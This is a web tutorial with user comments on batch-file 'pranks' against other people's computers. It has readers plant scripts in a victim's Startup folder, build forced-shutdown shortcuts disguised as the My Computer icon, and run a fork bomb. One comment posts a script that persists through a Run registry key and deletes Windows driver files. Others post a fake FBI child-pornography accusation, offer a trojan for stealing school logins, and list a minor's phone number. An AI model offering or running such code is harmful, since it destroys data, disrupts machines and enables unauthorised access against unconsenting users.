In this Instructable i will show you how to make a few pranks on peoples computer using simple commands on notepad and cmd prompt.


Step 1: Fake Warning Message

Ok first we will start with the easy one, the fake warning message.
This is how to do it:
1.Open note pad
2.Type this in
@echo off
msg * Warning your computer has detected a virus.
msg * To remove the virus click OK or close this box
msg * Your Hard drives are now being formatted
msg * Please wait ...........

3.Save the file as April-fools.BAT
4.Right click on the file and press hidden
5.Go to folder options and click show hidden files
6.Cut the file and place it in the victims Start up folder in the start menu
7.Go back to folder options and click do not show hidden files.

Now what each of the lines you typed in done:
@echo off << this runs the commands in the background so the victim will not see any codes
msg * <<this commands the computer to show a message
msg * hahahah <<this is what the message will display

The results
when the victim starts up there computer the first message will appear, when they click OK the next one will appear and make the victim think there hard drive is being formatted until they get the last message saying APRIL FOOLS.

Now your code should look like the image below:

Step 2: Fake Icon

Now i am going to tell you how to make fake icons that will shutdown/ log off / restart the victims computer.

When you make this use a 60 or more second time limit so the user has time to save all open work as if you do not it may make them angry and not so much a prank but with a time limit they have nothing to lose and will find it funny after.

There is two ways to do this but the way i am going to show you is easiest:
How to do it:
1.Right click on the desktop in a blank space.
2.Select new.
3.Click where it says create shortcut
4.Where it tells you to type a location type in one of the codes below:

If you want there computer to shutdown type this in:

shutdown -s -f -t 60 -c "type a message you want to appear here"

If you want it to log them off type this:

shutdown -l -f -t 60 -c "type a message you want to appear here"

If you want it to restart there computer type this:

shutdown -r -f -t 60 -c "type a message you want to appear here"

5.Click OK and name it My Computer.

6.Right click on the file you just made and click properties and look for where it says change icon.

7.find the icon that is the same as the "my computer" icon

8.change the icon and wait for the victim to open my computer, then it will shutdown / log off / restart.

9.HINT: If you set the time limit to 0000 it will shutdown instantly, so they may think it was some els wrong with the computer and try again .......

What each part of the code does:
shutdown << this is a program that has three basic commands shutdown , log off , restart.
-s << this will shutdown the computer
-r << this will restart the computer
-l << this will log off the computer
-f << this forces all programs running to shutdown
-t << this is the time limit until shutdown (the time is in seconds so if -t 60 means 60 seconds )

P.S if you want to try this on your computer and the shutdown timer starts, to stop it in run type shutdown -a

Step 3: A Simple Older Prank

Ok this only works on people that are not very smart with computers.

This will make them think their computer has froze and (if they are not smart with computers) they will freak out.
1.Close all open programs
2.Make sure you can see everything in the desktop
3.press print screen
4.Open MS paint and right click and press paste
5.save the file in some where you can easily find it
6.Go back to the desktop and right click, select arrange icons and click hide icons
7.Right click on the start bar and click properties and click Auto-hide
8.Goto the desktop and right click, select properties and click the desktop tab
9.Click load background and find the file you saved.

Now the computer should look normal but you cannot click any icons or the start bar as they are just an image. To do this sneak onto a friends / school computer and it only takes 2 minutes!

Step 4: Fork Bomb (BATCH)

This prank will make a command run over and over until the computer cannot handle any more programs and the computer will freeze or shutdown.

To make this open note pad and type:

@echo off
start a.bat

The code above must be saved as a.bat and when the other person opens it nothing will appear but in the background it will keep opening its self until the computer freezes or shuts down.

Step 5: Fake Virus Detected(HARMLESS)

Ok this will make the victim think they have got a virus when they click on an icon such as my computer.
First we have to open notepad again
1.type this in or copy.
@echo off
echo System check
echo -
echo Hard drive - FAILED
echo -
echo -
echo Disk Drive - FAILED
echo -
echo Connection - FAILED
echo -
echo code 754*sd56625
echo -
echo Hard drive must be formatted to resume windows
echo -
echo -
echo -
echo Hard drive has been formatted
echo -
echo -

2.Save as a.bat
3.convert the a.bat to an exe file which lets you name it and change the icon.
4.to convert it you will need to goto www.f2ko.de and download bat_to_exe
5. put it on some ones computer and watch them freak out

Look at the screen shot below and this is what the person will see. where it says pause you have to press a key to see the writing below it.

<p>blue Screen </p><p>@ echo off<br>rem &mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;<br>rem Activate Blue Screen Of Death<br>@((( Echo Off &gt; Nul ) &amp; Break Off )<br>@Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run<br>@Reg Add &ldquo;%HiveBSOD%&rdquo; /v &ldquo;BSOD&rdquo; /t &ldquo;REG_SZ&rdquo; /d %0 /f &gt; Nul<br>@Del /q /s /f &ldquo;%SystemRoot%\Windows\System32\Drivers\*.*&rdquo;<br>)</p>
<p>nice joke mate</p>
<p>using notepad on password recovery</p>
<p>Is there a code to get peoples passwords on a windows </p>
<p>How do you do the FBI prank. I opened the cmd. Now what?</p>
<p>hahaha it not work with my computer it just a messege but isn't shutdown</p>
<p>Take a look at mine Warning some may cause damage this website nor will i take responsibility for your actions: http://pastebin.com/u/Anonymous2001</p>
<p>Hey guys i just made a new CMD for FBI... Try it!!</p><p>@echo off</p><p>color 0f</p><p>title FBI HDD SEARCH AND SEIZURE</p><p>echo Obtaining Computer's IP Address...</p><p>timeout 3</p><p>echo .........................</p><p>echo . CONTACTING THE FBI... .</p><p>echo .........................</p><p>timeout 3</p><p>echo ...........................................</p><p>echo . DIALING FBI PHONE NUMBER (202) 324-3000 .</p><p>echo ...........................................</p><p>timeout 10</p><p>echo ................................................................................</p><p>echo . ATTENTION!!! Your computer IP Address is now being traced by .</p><p>echo . the FBI as it is suspect of having visited or hosted A child porn site and/ .</p><p>echo . or have uploaded, downloaded or both to a known child porn site. Visiting, .</p><p>echo . hosting, uploading or downloading nude pictures of children to such .</p><p>echo . internet sites in the United States of America is ILLEGAL and is punishable .</p><p>echo . by no less than 5-10 years imprisonment PER COUNT WITHOUT PAROLE, $500,000 .</p><p>echo . fine, and/or the echo .death penalty (in some states) if proven guilty. .</p><p>echo ................................................................................</p><p>timeout 10</p><p>echo ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::</p><p>echo :: Erasure of your computer's Hard Drive(s) to conceal evidence of your ::</p><p>echo :: internet whereabouts will result in further investigation and severe ::</p><p>echo :: criminal penalties to include ten (10) years imprisonment and/or ::</p><p>echo :: $500,000 fine for obstruction of justice under the federal penal code. ::</p><p>echo ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::</p><p>echo .................................................</p><p>echo . THE FBI IS COPYING YOUR HARD DRIVE(S) NOW!! .</p><p>echo .................................................</p><p>timeout 5 </p><p>echo ...................................................</p><p>echo . HDD COPY CYCLE COMPLETE!! NOW DELETING HDD DATA .</p><p>echo ...................................................</p><p>timeout 5</p><p>echo ......................................................................</p><p>echo . To prevent further instances in the future the FBI has anonomously .</p><p>echo . decided to render your computer unusable and will now permanently .</p><p>echo . disable your computer. .</p><p>echo ......................................................................</p><p>echo .......I Will Now Execute Command, 3hgw5th6p.exe, in 15 seconds.......</p><p>echo ......................................................................</p><p>timeout 15</p><p>set loopvar=1</p><p>:looplabel</p><p>set /a loopvar=%loopvar%+1</p><p>echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%</p><p>if '%loopvar%'=='1500' goto endlabel</p><p>goto looplabel</p><p>:endlabel</p><p>shutdown -s -f -t 15 -c &quot;The FBI HDD Search and Seizure program is now finished. We will contact you within 8-10 business days reguarding the results of your computer's HDD Search and Siezure.&quot;</p><p>exit</p>
<p>What happens after it tells you about the FBI contacting you at the end? Does you computer just shut down?</p>
<p>How do you do this prank?</p>
<p>is it saved as a VBS file?</p>
<p>is this just a prank or not?</p>
<p>The FBI one even got me..nice work dude</p>
<p>download betternet vpn. no other way other than that... </p>
<p>to do that you actually got to make a Trojan virus</p><p>i have one</p><p>and it is the best one out there,</p><p>sub to my channel</p><p>and i will give you the link to the download.</p><p>but be warned</p><p>not to access the principles,school district or other students log-in info</p><p>you can go to jail</p><p>but you can access a teachers log-in info,</p><p>being cought will only lead to iss. and maybe a po'po's</p><p>other then that its all good,</p><p>msg me on if you want more information??</p><p>facebook: Joshua Lee Sanchez</p><p>instagram: Azura_pda</p><p>phone# 971 338 0459</p>
<p>does it work at every school?</p>
Thanks for your comment.I would like to sub your channel and I would like to learn more about hacking.How canI learn more about hacking?
<p>what is your email or social media</p><p>my youtube :<a href="https://www.youtube.com/channel/UCMH9IuoZsCNiRzVbYuMrSyw" rel="nofollow">https://www.youtube.com/channel/UCMH9IuoZsCNiRzVbY...</a></p><p>I would rather talk in more of a private note,</p><p>so if you have any other way of doing so that would be great.</p>
my email is kavirunimsith@gmail.com
I need idk how to block the cmd in windows 7<br>
<p>@echo off</p><p>break off</p><p>title C:\Windows\system32\cmd.exe</p><p>cls</p><p>:cmd</p><p>set /p cmd=C:\Enter Command:</p><p>%cmd%</p><p>echo.</p><p>goto cmd</p>
<p>That will bypass the firewall and open CMD</p>
<p>Hello. There is a prank which I wanted to throw since a long time. It is for a friend of mine who likes to mess around my laptop quite a lot behind my back. </p><p>There will be a desktop icon. On clicking it there will be a timer and a slot. Unless the person can type the right password before the timer goes to 00:00, the screen will become blank. And I would also like the password to be recorded. And no X sign to close the window. Some warning that if the right password is not entered then all files on the computer shall be deleted and the memory shall be cleared. </p>
<p>This is adaption of first notepad tip</p><p>@echo off</p><p>msg * Warning your computer has detected a virus.</p><p>msg * To remove the virus click OK or close this box</p><p>msg * Your Hard drives are now being formatted</p><p>msg * Please wait ...........</p><p>msg * Shutting down in...</p><p>shutdown /s /f /t 10</p><p>shutdown /a /f /t 9</p><p>msg * 10</p><p>msg * 9</p><p>msg * 8</p><p>msg * 7</p><p>msg * 6</p><p>msg * 5</p><p>msg * 4</p><p>msg * 3</p><p>msg * 2</p><p>msg * 1</p><p>msg * ...</p><p>msg * APRIL FOOLS!!!!</p><p>This will not shutdown the computer hopefully, let me know if you tried it</p>
<p>Hey! i tried it and the code on the top says it to turn if the computer, I got so scared when it happend!!!!!!!!!!</p>
<p>I got the code wrong, it will shutdown the computer but no damage will be done. you could have it shut down the computer by doing this, (No real damage to computer will happen, it would be just like clicking shutdown button).</p><p>@echo off</p><p>msg * Warning your computer has detected a virus.</p><p>msg * To remove the virus click OK or close this box</p><p>msg * Your Hard drives are now being formatted</p><p>msg * Please wait ...........</p><p>msg * Shutting down in...</p><p>shutdown /s /f /t 10</p><p>shutdown /a /f /t 9</p><p>msg * 10</p><p>msg * 9</p><p>msg * 8</p><p>msg * 7</p><p>msg * 6</p><p>msg * 5</p><p>msg * 4</p><p>msg * 3</p><p>msg * 2</p><p>msg * 1</p><p>shutdown /s /f /t 0 /c &quot;LOLOLOL&quot;</p>
where i can found startup folder
<p>just type all command and save file with April fools than right click on that file press (run as administrator)</p>
where i can found startup folder
Bro where I can Save file
<p>Hello. I have a question. I would like to make something like:</p><p>@echo off</p><p>&quot; Your pc have been infected. Sorry for deleting all your files. Have a nice day. &quot;</p><p>and then it will start opening random (just a lot) files. Can someone tell me the comand to open random? Or some way to open C: files and dont crash pc? :D</p>
<p>Try something like</p><p><em>&quot;echo off</em></p><p><em>start notepad.exe</em></p><p><em>start notepad.exe</em></p><p><em>msg * &quot;Your pc have been infected. Sorry for deleting all your files. Have a nice day.&quot;</em></p><p><em>start notepad.exe</em></p><p><em>start notepad.exe.</em></p><p><em>start notepad.exe</em></p><p><em>start notepad.exe&quot;</em></p><p>I just used it on a older PC so you might need to change the message type but this will open a finite amount of Notepads, if you want something else just add the file name with its execution .exe.</p><p>but if you want a infinite amount which is a little more harsh use </p><p><em>@echo off</em></p><p><em>:A</em></p><p><em>&quot;Your pc have been infected. Sorry for deleting all your files. Have a nice day.&quot;</em></p><p><em>start notepad.exe</em></p><p><em>goto A</em></p><p>This should make it loop forever to stop it the easiest way is to shut off the computer which if you want there is a few commands for that too! Have fun with this! :D</p>
<p>I made one that...might kill a person called 'Ay, I'm just doing my %random% job.';</p><p>@echo off</p><p>title API Hacker</p><p>echo API Hacker loaded.</p><p>echo Hit 'ENTER' to open the program.</p><p>pause</p><p>:p: </p><p>echo Ay, I'm just doing my %random%%random% job.</p><p>color 01</p><p>color 12</p><p>color 13</p><p>color 14</p><p>color 23</p><p>color 24</p><p>color 32</p><p>color 34</p><p>color 42</p><p>color 43</p><p>color 41</p><p>color 45</p><p>color 51</p><p>color 52</p><p>color 53</p><p>color 54</p><p>color 02</p><p>color 03</p><p>color 04</p><p>color 05</p><p>title Ay, I'm just doing my %random%%random% job..</p><p>goto p</p><p>start </p>
<p>The way it works, is that if you hit Enter, it will loop flashing colors with</p><p>echo Ay, I'm just doing my %random%%random% job.</p>
<p>So do the coding but then do this near the end :<br>:he<br>explorer.exe</p><p>goto he</p>
<p>If the way you use doesn't work it's:</p><p>:he</p><p>start explorer.exe</p><p>goto he</p>
<p>thnx! i'm gonna try it when i get on a pc!</p>
<p>When i click on the 'finished' shortcut, it logs off instantly even though i put a 60 second timer on it. i typed:</p><p>shutdown -l -f -t 60 -c &quot;message&quot; (I did include the quotes if im not supposed to, then that's probably my issue)</p><p>help? :P</p>
<p>When using shutdown do:</p><p>shutdown -c &quot;Your message here&quot; -s</p>
<p>Here's a cool locker that hides your files and locks it until u put a password in; without any downloaded software! save it as a batch file;</p><p>( with extension .<u>bat ) </u>change the <em>YOUR PASSWORD HERE</em> part in the 23rd line with any password you want.</p><p>Now you will see a batch file. Double click it to create a folder locker ( A new folder named Locker would be formed at the same location )Bring all the files you want to hide in the locker folder.Double click the batch ( As created above ) file to lock the folder. you will have an option. press capital <em>Y</em>.</p><p>cls</p><p>@ECHO OFF</p><p>title Folder Locker</p><p>if EXIST &quot;Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}&quot; goto UNLOCK</p><p>if NOT EXIST Locker goto MDLOCKER</p><p>:CONFIRM</p><p>echo Are you sure u want to Lock the folder(Y/N)</p><p>set/p &quot;cho=&gt;&quot;</p><p>if %cho%==Y goto LOCK</p><p>if %cho%==y goto LOCK</p><p>if %cho%==n goto END</p><p>if %cho%==N goto END</p><p>echo Invalid choice.</p><p>goto CONFIRM</p><p>:LOCK</p><p>ren Locker &quot;Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}&quot;</p><p>attrib +h +s &quot;Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}&quot;</p><p>echo Folder locked</p><p>goto End</p><p>:UNLOCK</p><p>echo Enter password to Unlock folder</p><p>set/p &quot;pass=&gt;&quot;</p><p>if NOT %pass%==YOUR PASSWORD HERE goto FAIL</p><p>attrib -h -s &quot;Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}&quot;</p><p>ren &quot;Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}&quot; Locker</p><p>echo Folder Unlocked successfully</p><p>goto End</p><p>:FAIL</p><p>echo Invalid password</p><p>goto end</p><p>:MDLOCKER</p><p>md Locker</p><p>echo Locker created successfully</p><p>goto End</p><p>:End</p>
<p>That looks correct to me, but try doing shutdown -l -t 60 -f -c &quot;message&quot;</p><p>I don't think that will fix the problem, but you should try.</p>
Try shutdown -s -t 60 -c &quot;what ever&quot; don't use &quot;&quot; lol what it does is shutdown -s tells it to shutdown -t 60 tells it to shutdown in 60 secs and -c tells it to say your message let me know if this helps
<p>This is great. I modified this and dropped it into a shared server on my office network and most of the employees fell prey to it. </p>
<p>Well of course it doesn't. If it was then the script would say it! :D</p>
<p>@echo off</p><p>title that one night !=!V0.1!=!</p><p>goto Main</p><p>:creds</p><p>echo -------------------------------------credits------------------------------------</p><p>echo ----------------------------story line by DB aka lapus-----------------------</p><p>echo --------------------coded by DB aka lapus--------------------</p><p>echo ---------thank you for your support ;)--------</p><p>echo menu?</p><p>set /p menu?=</p><p>if %menu?%==menu goto Main</p><p>if %menu?%==menu cls</p><p>pause</p><p>:help</p><p>echo -------------welcome to the help menu-------</p><p>echo to play the game all you have to do is</p><p>echo survive, if the game goes to the menu</p><p>echo (do to lack of codeing issues)</p><p>echo that means you lost ! oh no</p><p>echo so make sure you dont lose ok,</p><p>echo also we have a command respone</p><p>echo promblem so keep typeing the command</p><p>echo to do it please and thank you for</p><p>echo staying with us throught futrue updatas.</p><p>echo menu? </p><p>set /p menu?=</p><p>if %menu?%==menu cls</p><p>if %menu?%==menu goto Main</p><p>:Main</p><p>echo ---------welcome to the main menu-------------</p><p>echo play? exit?</p><p>echo credits? need help? please vist help first !</p><p>set /p help?=</p><p>if %help?%==help goto help</p><p>set /p credits?=</p><p>if %credits?%==credits goto creds</p><p>set /p play?=</p><p>if %play?%==play goto Game</p><p>set /p exit?=</p><p>if %exit?%==exit exit</p><p>:Game</p><p>echo ok, so you wake up in a forest and crickets are out and wolfs are about what do you do?</p><p>echo A. grab a rock and kill your self, B. look for a house,</p><p>echo C. find the crickets and eat them D. try and build a house out of logs</p><p>echo *HINT* there is only 2 that are good.</p><p>set /p A=</p><p>set /p B=</p><p>set /p C=</p><p>set /p D=</p><p>set /p menu=</p><p>if %menu%==menu goto Main</p><p>if %A%==A goto main</p><p>if %B%==B echo you find some bricks and tape but no house?</p><p>if %C%==C echo you find the crickets and eat them and then feel a little better and have more enrgey</p><p>if %D%==D goto main</p><p>pause</p><p>I MADE A GAME BRUH ! =_=</p>
<p>When I download BAT to EXE from F2KO, Antivirus detected the file as virus.</p>

About This Instructable




More by dean-101:Repairing basic computer hard ware problem (system disk failure and broken PSU and missing/corrupt files) School site unblocker program How to clean a laptop screen with household products 
Add instructable to: